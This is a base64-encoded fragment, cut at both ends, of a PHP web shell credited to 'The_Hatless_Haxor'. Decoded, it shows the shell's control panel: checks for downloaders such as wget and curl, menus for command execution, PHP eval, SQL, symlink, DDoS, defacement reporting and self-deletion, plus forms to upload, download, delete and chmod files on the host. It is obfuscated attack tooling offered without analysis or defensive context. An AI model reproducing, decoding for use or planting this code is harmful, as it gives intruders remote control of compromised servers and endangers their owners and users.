yPgogICAgICAgICAgPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4+RG93bmxvYWRlcjo8L3NwYW4+JzsKICAgICAgICAgCiAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcsJ2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMikKICAgICAgIGlmKG1hZFdoaWNoKCRpdGVtMikpCiAgICAgICAgZWNobyAkaXRlbTIuJywnOwogICAgICAgIGVjaG8gJzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4nOwogICAgICAgICAKICAgICAgICAgIH0KICAgICAgICAgICBlbHNlIAogICAgICAgICAgIHsKICAgICAgICAgZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3Bhbj51c2VmdWw6PC9zcGFuPic7IAogICAgICAgICBlY2hvICctLS0tLS0tLS0tLS0tLTwvdGQ+CiAgICAgICAgICAgPC90cj48dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3Bhbj5Eb3dubG9hZGVyOiA8L3NwYW4+LS0tLS0tLS0tLS0tLTwvdGQ+CiAgICAgICAgICAgICAgPC90cj4nOyAgCiAgICAgICAgIH0KfQplbHNlCnsKICAgZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3Bhbj5XaW5kb3c6PC9zcGFuPic7CiAgIGVjaG8gbWFkRXgoJ3ZlcicpOwogICBlY2hvICc8L3RkPgogICAgICAgICA8L3RyPiA8dHI+CiAgICAgICAgPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4+RG93bmxvYWRlcjogPC9zcGFuPi0tLS0tLS0tLS0tLS08L3RkPgogICAgICAgICAgICAgIDwvdHI+JzsgCiAgICAKfSAgCiAgICAKIAogZWNobyAnPHRyPgogICAgPHRkIGhlaWdodD0iMTYiIGNvbHNwYW49IjIiPjxzcGFuPkRpc2FibGVkIGZ1bmN0aW9uczo8L3NwYW4+Jy4kZGlzZnVuLic8L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGhlaWdodD0iMTYiIGNvbHNwYW49IjIiPjxzcGFuPmNVUkw6Jy4kY3VybC4nICBNeVNRTDonLiRteXNxbC4nICBNU1NRTDonLiRtc3NxbC4nICBQb3N0Z3JlU1FMOicuJHBnLicgIE9yYWNsZTogPC9zcGFuPicuJG9yLic8L3RkPjx0ZCB3aWR0aD0iMTUlIj4nLmJhc2U2NF9kZWNvZGUoIlBHRWdhSEpsWmowaWFIUjBjSE02THk5M2QzY3VabUZqWldKdmIyc3VZMjl0TDJoaGRHeGxjM011YUdGNGIzSXhJaUIwWVhKblpYUTlJbDlpYkdGdWF5SStQSE53WVc0K1BHWnZiblFnWTI5c2IzSTlJaU13UmpBaVBpWnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53TzFSb1pTQklZWFJzWlhOeklFaGhlREJ5UEM5bWIyNTBQand2YzNCaGJqNDhMMkUrIikuJzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgPHRkIGhlaWdodD0iMTEiIGNvbHNwYW49IjMiPjxzcGFuPk9wZW5fYmFzZWRpcjonLiRvcGVuX2IuJyBTYWZlX21vZGVfZXhlY19kaXI6Jy4kc2FmZV9leGUuJyAgIFNhZmVfbW9kZV9pbmNsdWRlX2RpcjonLiRzYWZlX2luY2x1ZGUuJzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgaGVpZ2h0PSIxMSI+PHNwYW4+U2VydmVyIDwvc3Bhbj48L3RkPgogICAgPHRkIGNvbHNwYW49IjIiPicuQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykuJzwvdGQ+CiAgPC90cj4nOwogIGlmKCRHTE9CQUxTW3N5c109PSJ3aW4iKQogIHsKICAgIGVjaG8gJzx0cj4KICAgIDx0ZCBoZWlnaHQ9IjEyIj48c3Bhbj5EUklWRTo8L3NwYW4+PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4nLiRkcml2ZXMuJzwvdGQ+CiAgICAgPC90cj4nOwogIH0KICAKICBlY2hvICc8dHI+CiAgICA8dGQgaGVpZ2h0PSIxMiI+PHNwYW4+UFdEOjwvc3Bhbj48L3RkPgogICAgPHRkIGNvbHNwYW49IjIiPicuJGN3ZF9saW5rcy4nICA8YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48Zm9udCBjb2xvcj1yZWQgPnxDVVJSRU5UfDwvZm9udD48L2E+PC90ZD4KICA8L3RyPgogIDwvdGFibGU+CjwvZGl2PgogPGRpdiBpZD0ibWV1bmxpc3QiPgogICAgICA8dWw+CjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+SE9NRTwvYT48L2xpPgoKPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdwcm9jXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlBST0NFU1M8L2E+PC9saT4KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPkVWQUw8L2E+PC9saT4KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzcWxcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+U1FMPC9hPjwvbGk+CjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnaGFzaFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5IQVNIPC9hPjwvbGk+CjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnY29ubmVjdFwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5DT05ORUNUPC9hPjwvbGk+CjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnem9uZWhcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Wk9ORS1IPC9hPjwvbGk+CjxsaT48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnZG9zXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPkRET1M8L2E+PC9saT4KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdzYWZlXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPlNBRkUgTU9ERTwvYT48L2xpPgo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+U1lNTElOSzwvYT48L2xpPgo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3Nwb3RcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+QUJPVVQgVGhlX0hhdGxlc3NfSGF4b3I8L2E+PC9saT4KPGxpPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdMb2dvdXRcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+TG9nIE91dDwvYT48L2xpPgo8bGk+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3NlbGZybVwnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj5LSWxsIEMwZGU8L2E+PC9saT4KPC91bD4KICAgIAogICAgPC9kaXY+Cic7ICAgCiAgICAKfQoKZnVuY3Rpb24gbWFkZm9vdGVyKCkKewogICAgCiAgICBlY2hvICI8dGFibGUgY2xhc3M9J2Zvb3QnIHdpZHRoPScxMDAlJyBib3JkZXI9JzAnIGNlbGxzcGFjaW5nPSczJyBjZWxscGFkZGluZz0nMCcgPgogICAgICAgPHRyPgogICAgICAgICA8dGQgd2lkdGg9JzE3JSc+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPl9fTUsgRklMRV9fPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgIHR5cGU9dGV4dCBuYW1lPWYgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgIDx0ZCB3aWR0aD0nMjElJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19NSyBESVJfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWQgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgIDx0ZCB3aWR0aD0nMjIlJz48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLHRoaXMuZGVsLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19ERUxFVEVfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWRlbCB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KICAgICAgICAgPHRkIHdpZHRoPScxOSUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNUb29scycsbnVsbCx0aGlzLmYudmFsdWUsJ2NobW9kJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPl9fQ0hNT0RfXzwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9dGV4dCBuYW1lPWYgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICA8L3RyPgogICAgICAgPHRyPgogICAgICAgICA8dGQgY29sc3Bhbj0nMic+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+X19DSEFOR0UgRElSX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4iJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KICAgICAgICAgPHRkIGNvbHNwYW49JzInPjxmb3JtIG1ldGhvZD0ncG9zdCcgPjxzcGFuPl9fSFRUUCBET1dOTE9BRF9fPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9cnRkb3duIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgIDwvdHI+CiAgICAgICA8dHI+CiAgICAgICAgIDx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBvbnN1Ym1pdD1cImcoJ3Byb2MnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+X19FWEVDVVRFX188L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPgogICAgICAgIDwvdHI+CiAgICAgICA8dHI+CiAgICAgICAgIDx0ZCBjb2xzcGFuPSc0Jz48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4KICAgICAgICA8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGJyIC8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+CiAgICAgICAgPC90cj4gCiAgICAgIDwvdGFibGU+CiAgPC9kaXY+CiAgPC9ib2R5Pgo8L2h0bWw+CiI7CiAgICAKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgewogICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3Bvc2l4X2dldGdyZ2lkJyk9PT1mYWxzZSkpIHsKICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0KCmZ1bmN0aW9uIG1hZFdoaWNoKCRwKSB7CiAgICAgICAgJHBhdGggPSBtYWRFeCgnd2hpY2ggJyAuICRwKTsKICAgICAgICBpZighZW1wdHkoJHBhdGgpKQogICAgICAgICAgICAgICAgcmV0dXJuICRwYXRoOwogICAgICAgIHJldHVybiBmYWxzZTsKfQoKCgpmdW5jdGlvbiBtYWRTaXplKCRzKSB7CiAgICAgICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKICAgICAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CiAgICAgICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHJldHVybiAkcyAuICcgQic7Cn0KCgpmdW5jdGlvbiBtYWRQZXJtcygkcCkgewogICAgICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsKICAgICAgICBlbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICAgICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKICAgICAgICBlbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICAgICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsKICAgICAgICBlbHNlICRpID0gJ3UnOwogICAgICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwogICAgICAgIHJldHVybiAkaTsKfQpmdW5jdGlvbiBtYWRQZXJtc0NvbG9yKCRmKSB7CiAgICAgICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKQogICAgICAgICAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiBtYWRQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7CiAgICAgICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkKICAgICAgICAgICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9d2hpdGU+JyAuIG1hZFBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+JyAuIG1hZFBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7CiAgICAgICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7CiAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpCiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICAgICAgICAgIHJldHVybiAkZmlsZXM7CiAgICAgICAgfQp9CgoKZnVuY3Rpb24gbWFkRmlsZXNNYW4oKSB7CiAgICAgICAgbWFkaGVhZCgpOwogICAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbWtkaXInOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRwYXRoLiRpdGVtOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKEAkX1BPU1RbJ3AyJ10pKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlbGV0ZURpcihAJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluayhAJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9TRVNTSU9OWydhY3QnXSA9IEAkX1BPU1RbJ3AxJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMgJGsgPT4gJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2MnXSA9IEAkX1BPU1RbJ2MnXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7ICAgICBlY2hvICc8aDM+PHNwYW4+fCAgQWNjZXNzIERlbmllZCEgfDwvc3Bhbj48L2gzPjwvZGl2Pic7bWFkRm9vdGVyKCk7IHJldHVybjsgfQogICAgICAgIGdsb2JhbCAkc29ydDsKICAgICAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQogICAgICAgICAgICAgICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwogICAgICAgIH0KZWNobyAiCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMicgID4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZ5PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD5QZXJtaXNzaW9uczwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKICAgICAgICAkZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7CiAgICAgICAgJG4gPSBjb3VudCgkZGlyQ29udGVudCk7CiAgICAgICAgZm9yKCRpPTA7JGk8JG47JGkrKykgewogICAgICAgICAgICAgICAgJG93ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSk7CiAgICAgICAgICAgICAgICAkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsKICAgICAgICAgICAgICAgICR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwYXRoJyA9PiAkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdtb2RpZnknID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3Blcm1zJyA9PiBtYWRQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZ3JvdXAnID0+ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycgPT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOwogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKICAgICAgICAgIC